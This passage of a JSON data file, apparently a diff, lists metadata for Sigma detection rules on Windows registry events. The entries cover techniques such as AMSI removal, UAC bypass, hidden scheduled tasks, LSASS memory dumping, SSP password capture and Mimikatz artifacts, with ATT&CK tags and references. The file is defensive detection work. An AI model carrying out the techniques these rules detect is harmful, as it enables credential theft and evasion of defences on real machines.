- "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_disk_cleanup_handler_new_entry_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate new entry added by windows" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", - "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", - "value": "Removal Of Folder From ProtectedFolders In Exploit Guard", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/05", - "filename": "registry_delete_exploit_guard_protected_folders.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate administrators removing applications (should always be monitored)" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deletion of registry keys containing the MSTSC connection history", - "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", - "value": "Terminal Server Client Connection History Cleared", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", - "http://woshub.com/how-to-clear-rdp-connections-history/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1112" - ], - "creation_date": "2021/10/19", - "filename": "registry_delete_mstsc_history_cleared.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", - "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", - "value": "Removal Of Amsi Provider Reg Key", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://seclists.org/fulldisclosure/2020/Mar/45", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/06/07", - "filename": "registry_delete_removal_amsi_registry_key.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", - "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", - "value": "Removal of Potential COM Hijacking Registry Keys", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/7", - "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", - "https://docs.microsoft.com/en-us/windows/win32/shell/launch", - "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/05/02", - "filename": "registry_delete_removal_com_hijacking_registry_key.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", - "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", - "value": "Removal Of Index Value to Hide Schedule Task", - "meta": { - "refs": [ - "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2022/08/26", - "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", - "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", - "value": "Removal Of SD Value to Hide Schedule Task", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2022/04/15", - "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", - "author": "Sittikorn S", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_delete", - "logsource.product": "windows" - } - }, - { - "description": "Sysmon registry detection of a local hidden user account.", - "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", - "value": "Creation of a Local Hidden User Account by Registry", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1387530414185664538", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2021/05/03", - "filename": "registry_event_add_local_hidden_user.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", - "value": "Chafer Activity", - "meta": { - "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/03/23", - "filename": "registry_event_apt_chafer_mar18.yml", - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", - "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", - "value": "Leviathan Registry Key Activity", - "meta": { - "refs": [ - "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2020/07/07", - "filename": "registry_event_apt_leviathan.yml", - "author": "Aidan Bracher", - "level": "critical", - "falsepositive": "No established falsepositives", - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", - "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", - "value": "OceanLotus Registry Activity", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", - "https://github.com/eset/malware-ioc/tree/master/oceanlotus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2019/04/14", - "filename": "registry_event_apt_oceanlotus_registry.yml", - "author": "megan201296, Jonhnathan Ribeiro", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Pandemic Windows Implant", - "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", - "value": "Pandemic Registry Key", - "meta": { - "refs": [ - "https://wikileaks.org/vault7/#Pandemic", - "https://twitter.com/MalwareJake/status/870349480356454401", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105" - ], - "creation_date": "2017/06/01", - "filename": "registry_event_apt_pandemic.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", - "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", - "value": "UAC Bypass Via Wsreset", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2020/10/07", - "filename": "registry_event_bypass_via_wsreset.yml", - "author": "oscd.community, Dmitry Uchakin", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", - "value": "CMSTP Execution Registry Event", - "meta": { - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ], - "creation_date": "2018/07/16", - "filename": "registry_event_cmstp_execution_by_registry.yml", - "author": "Nik Seetharaman", - "level": "high", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", - "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", - "value": "Disable Security Events Logging Adding Reg Key MiniNt", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1182516740955226112", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ], - "creation_date": "2019/10/25", - "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", - "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", - "value": "Wdigest CredGuard Registry Modification", - "meta": { - "refs": [ - "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2019/08/25", - "filename": "registry_event_disable_wdigest_credential_guard.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", - "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", - "value": "Esentutl Volume Shadow Copy Service Keys", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2020/10/20", - "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Windows Credential Editor (WCE)", - "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", - "value": "Windows Credential Editor Registry", - "meta": { - "refs": [ - "https://www.ampliasecurity.com/research/windows-credentials-editor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0005" - ], - "creation_date": "2019/12/31", - "filename": "registry_event_hack_wce_reg.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", - "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", - "value": "HybridConnectionManager Service Installation", - "meta": { - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1608" - ], - "creation_date": "2021/04/12", - "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the presence of a registry key created during Azorult execution", - "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", - "value": "Registry Entries For Azorult Malware", - "meta": { - "refs": [ - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112" - ], - "creation_date": "2020/05/08", - "filename": "registry_event_mal_azorult.yml", - "author": "Trent Liffick", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects FlowCloud malware from threat group TA410.", - "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", - "value": "FlowCloud Malware", - "meta": { - "refs": [ - "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ], - "creation_date": "2020/06/09", - "filename": "registry_event_mal_flowcloud.yml", - "author": "NVISO", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", - "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", - "value": "PrinterNightmare Mimimkatz Driver Name", - "meta": { - "refs": [ - "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", - "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204", - "cve.2021.1675", - "cve.2021.34527" - ], - "creation_date": "2021/07/04", - "filename": "registry_event_mimikatz_printernightmare.yml", - "author": "Markus Neis, @markus_neis, Florian Roth", - "level": "critical", - "falsepositive": [ - "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects value modification of registry key containing path to binary used as screensaver.", - "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", - "value": "Path To Screensaver Binary Modified", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.002" - ], - "creation_date": "2020/10/11", - "filename": "registry_event_modify_screensaver_binary_path.yml", - "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate modification of screensaver" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", - "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", - "value": "Narrator's Feedback-Hub Persistence", - "meta": { - "refs": [ - "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_event_narrator_feedback_persistance.yml", - "author": "Dmitriy Lifanov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects NetNTLM downgrade attack", - "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", - "value": "NetNTLM Downgrade Attack", - "meta": { - "refs": [ - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ], - "creation_date": "2018/03/20", - "filename": "registry_event_net_ntlm_downgrade.yml", - "author": "Florian Roth, wagga", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", - "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", - "value": "New DLL Added to AppCertDlls Registry Key", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", - "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.009" - ], - "creation_date": "2019/10/25", - "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", - "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", - "value": "New DLL Added to AppInit_DLLs Registry Key", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.010" - ], - "creation_date": "2019/10/25", - "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", - "author": "Ilyas Ochkov, oscd.community, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", - "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", - "value": "Office Application Startup - Office Test", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1137/002/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137.002" - ], - "creation_date": "2020/10/25", - "filename": "registry_event_office_test_regadd.yml", - "author": "omkar72", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects persistence registry keys for Recycle Bin", - "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", - "value": "Registry Persistence Mechanisms in Recycle Bin", - "meta": { - "refs": [ - "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ], - "creation_date": "2021/11/18", - "filename": "registry_event_persistence_recycle_bin.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", - "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", - "value": "PortProxy Registry Key", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://adepts.of0x.cc/netsh-portproxy-code/", - "https://www.dfirnotes.net/portproxy_detection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2021/06/22", - "filename": "registry_event_portproxy_registry_key.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "medium", - "falsepositive": [ - "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", - "Synergy Software KVM (https://symless.com/synergy)" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", - "value": "RedMimicry Winnti Playbook Registry Manipulation", - "meta": { - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/06/24", - "filename": "registry_event_redmimicry_winnti_reg.yml", - "author": "Alexander Rausch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", - "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", - "value": "WINEKEY Registry Modification", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ], - "creation_date": "2020/10/30", - "filename": "registry_event_runkey_winekey.yml", - "author": "omkar72", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", - "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", - "value": "Run Once Task Configuration in Registry", - "meta": { - "refs": [ - "https://twitter.com/pabraeken/status/990717080805789697", - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/11/15", - "filename": "registry_event_runonce_persistence.yml", - "author": "Avneet Singh @v3t0_, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate modification of the registry key by legitimate program" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", - "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", - "value": "Shell Open Registry Keys Manipulation", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", - "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", - "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1546.001" - ], - "creation_date": "2021/08/30", - "filename": "registry_event_shell_open_keys_manipulation.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", - "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", - "value": "SilentProcessExit Monitor Registration for LSASS", - "meta": { - "refs": [ - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.007" - ], - "creation_date": "2021/02/26", - "filename": "registry_event_silentprocessexit_lsass.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", - "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", - "value": "Security Support Provider (SSP) Added to LSA Configuration", - "meta": { - "refs": [ - "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.005" - ], - "creation_date": "2019/01/18", - "filename": "registry_event_ssp_added_lsa_config.yml", - "author": "iwillkeepwatch", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", - "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", - "value": "Sticky Key Like Backdoor Usage", - "meta": { - "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - 